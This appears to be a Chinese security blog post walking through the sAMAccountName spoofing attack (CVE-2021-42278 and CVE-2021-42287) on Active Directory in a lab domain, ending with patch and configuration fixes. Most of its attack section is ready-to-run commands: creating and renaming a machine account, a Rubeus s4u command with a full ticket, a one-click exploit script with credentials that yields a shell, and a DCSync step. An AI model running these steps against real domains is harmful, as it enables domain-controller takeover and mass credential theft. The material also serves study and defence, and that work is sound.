SAMAccountName Spoofing利用&简单分析&修复方式


前言

主要需要结合CVE-2021-42278、CVE-2020-42287进行利用

Log4j为攻击者打出了外网的shell,SAMAccountNameSpoofing为攻击者打下了内网的域,网上文章资料也非常多,更多的还是围绕如何脚本化一键利用,真正能动手把利用&修复原理过一遍的挺少....还是得有自己的思考,自己动手过一遍,踩踩坑

CVE-2021-42278:机器用户名大部分以$为结尾,但AD没有对域内机器用户名进行验证,能够与42287结合利用从而实现模拟域控账户
CVE-2021-42287:同78结合使用,创建与DC机器用户名相同的机器用户,不以$为结尾,账户请求一个TGT后更名账户,然后通过s4uself申请TGS凭证,在TGS REP-REQ阶段,这个账户不存在时,DC将使用自己的密钥加密TGS凭证,提供一个属于该账户的PAC,从而获得高权限ST

根据kerberos认证流程,在域内请求ST凭证时,首先需要进行TGT的凭证,当KDC未找到请求的ST凭证时,KDC会自动搜索带$结尾的机器用户,如果获得了DC用户的TGT凭证,且有一台名为DC$的域控,再将DC用户删除,此时使用该TGT去请求s4u2self,如果域控账户DC$存在,那么DC就能获得DC$(机器用户)的ST凭证

读到这里,相信你一定有了如何操作的想法了吧!

实际利用

前提条件

域内默认配置:
有一个普通域用户
普通域用户能够添加机器账户,如果machineaccountquota为0则没法添加

属性查看

需要对samaccountname serviceprincipalname具备写权限,默认的ms-ds-machineaccountquota允许域账户创建10个机器账户,而创建者对于机器账户具有写权限那也就可以进行更改

攻击流程

创建一个机器用户
清楚他的spn属性
将机器用户的samaccountname属性改为DC机器用户的名字,不带$【cve-2021-42278】
为机器用户请求TGT
将机器用户的samaccountname改为其他名字,只要不是域控的就行,也不加$
利用先前的TGT通过s4uself协议向DC请求ST【cve-2021-42287】
权限获取,dcsync即可

实际利用

添加机器用户
New-MachineAccount -MachineAccount yangcom -Domain rootkit.org -DomainController owa2013.rootkit.org -Verbose

image-20211213210405646

清除spn,不清除spn也不会影响结果,很多的文章都说要清除spn,但是我这环境没有清楚spn竟然也就成功了......多实践少些人云亦云就好
Set-DomainObject "CN=yangcom,CN=Computers,DC=attack,DC=local" -Clear 'serviceprincipalname' -Verbose

重新设置机器名
Set-MachineAccountAttribute -MachineAccount yangcom -Value "owa2013" -Attribute samaccountname -Verbose

请求TGT

修改回其他名字,使得认证时候找不到

s4u2self获取凭证
Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:owa2013.rootkit.org /self /altservice:LDAP/owa2013.rootkit.org /ptt /ticket:doIE4jCCBN6gAwIBBaEDAgEWooID+zCCA/dhggPzMIID76ADAgEFoQ0bC1JPT1RLSVQuT1JHoiAwHqADAgECoRcwFRsGa3JidGd0Gwtyb290a2l0Lm9yZ6OCA7UwggOxoAMCARKhAwIBAqKCA6MEggOfNq0RSrA3mpyPRfKkDWzsQYf6NenAdK+3Y5pxqlabQu4PuELXCBJeKkKNFTZB+IhX3gm21LVfgeewP5FoGbE6fAi7TE0CxZVQPEERBG/V0q1Kfgbqz6bh7loxU4BH6/FSjdHgFtVyICuKoeu1LrT9Wg7fq35vEdsi4g9WTZufvW9EjKypc+DvSkA/5cUE+6d8JSILEf9V3g5LkFZ2/LbBs4pzIh6E/s7RvJSrzcBFX0fx98YsyfqV/gPpkCXErH7HEYKx/YY6LuHlDm3DS3bjWj1yOm8LlDClHk0hcH6LOI/xKr/hb7atumHCjC6DTxoYLMz5ODeX+Rwqzt7jfCkdIvFOyjDhLPQed+8JCzRxz4U54GtHoLT12u/qWMxiqPcFBNnwL8nGLIlCQcy4Og9QjIPt434RbxGDIR/868lSschBDvlbbBA9cQ5/e3FCUGrxt+kD+kbut0klDVh+0r94sdb4rh93/dIBoeXPi00/Um1nYCc779jUiTGeCdv/k+6eYX6AGZbNhD749vHQSfhx0sRPgC0+rgDULCU7Ib+gU8yWGTMQUi+aYmjUhY/p+P0YR6ZZ31I4qNCCgWHl3OC4NTp/IIGrYDg1bUFtY3s3cZFpyCsbAC7pTIIIREvKUt2l5yc3/hX44WhEZGN5ZlKJM9+Ow3ZPYNxyZYRsygupw7LRd3mQNauXJ2hBCm/LsQ0fbJRHmHYS4i1Pg4IO6l/bVP0oRpu9Pv2ER40OCfOri0f2am1Cko83usv12EPnht87P6NGL7leObbohNin/iXCc9aggU9U6s9X+7TDkp+ux86R3uAH0LeUfApzHkjxgQMjnFDwXEgjlL4TfX7X1Z/c5w4OCFHEJM1NEEuazZzRLQGHJBecbFxnA/6W7XVqUnHycnboJfDnPD6B1ssSXbd4O+65jk9VzQAUuB1aVzTfWfaNrVmPHgt0CRjkS4uWhV0druFCYQPIA6W6ZKllZ2JsAohvlu88wS6GzzUhCZUuKIx50+1Fv3361GHux0PrwBipaF3Rgu3IyCJ8PoUXegd9ClUoJ+ro2cUUmDE7PvgTi5iWGPXs+Ei102mtNIXOofCniUXehxIvpsaFFud9QpLw494wYLo/ljleT8ChdY9Use6guiSU53kX4M11AWRnI4BMUruzRDi4d3UfdRrjk8ykIMu/BT+hscuti0LaARWYEv7TwmMrgqYSQ1ySJrcHe5qEg6v0yUF+o4f7dzKtfnQ9o4HSMIHPoAMCAQCigccEgcR9gcEwgb6ggbswgbgwgbWgGzAZoAMCARehEgQQ7AL7a7q9So2J+dg6O5W0rKENGwtST09US0lULk9SR6IUMBKgAwIBAaELMAkbB293YTIwMTOjBwMFAEDhAAClERgPMjAyMTEyMTMxMzA4MTJaphEYDzIwMjExMjEzMjMwODEyWqcRGA8yMDIxMTIyMDEzMDgxMlqoDRsLUk9PVEtJVC5PUkepIDAeoAMCAQKhFzAVGwZrcmJ0Z3QbC3Jvb3RraXQub3Jn

image-20211213211109810

有了权限凭证,dcsync即可

一键化

python

python3 exp.py "rootkit.org/yangsir:Aa123456" -dc-ip 192.168.3.144 -shell

C#

检测

直接利用

dcsync即可

image-20211214100930227

注意此处默认模拟的用户是administrator,如果不存在的用户ptt后其实是没权限的

python

检测

利用,因为上面的那个py脚本暂时只能在kali打,于是乎为了macshell,又找了个如下

dcsync同理可行

修复建议

除了针对两个cve打补丁外【KB5008602、KB5008380】,可将ms-ds-machineaccountquota设置为0,以此阻止低权限用户创建机器账户

SeMachineAccountPrivilege属性内删除Authenticated Users,添加为域管或其他特定组成员


Author: Yangsir
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source Yangsir !
  TOC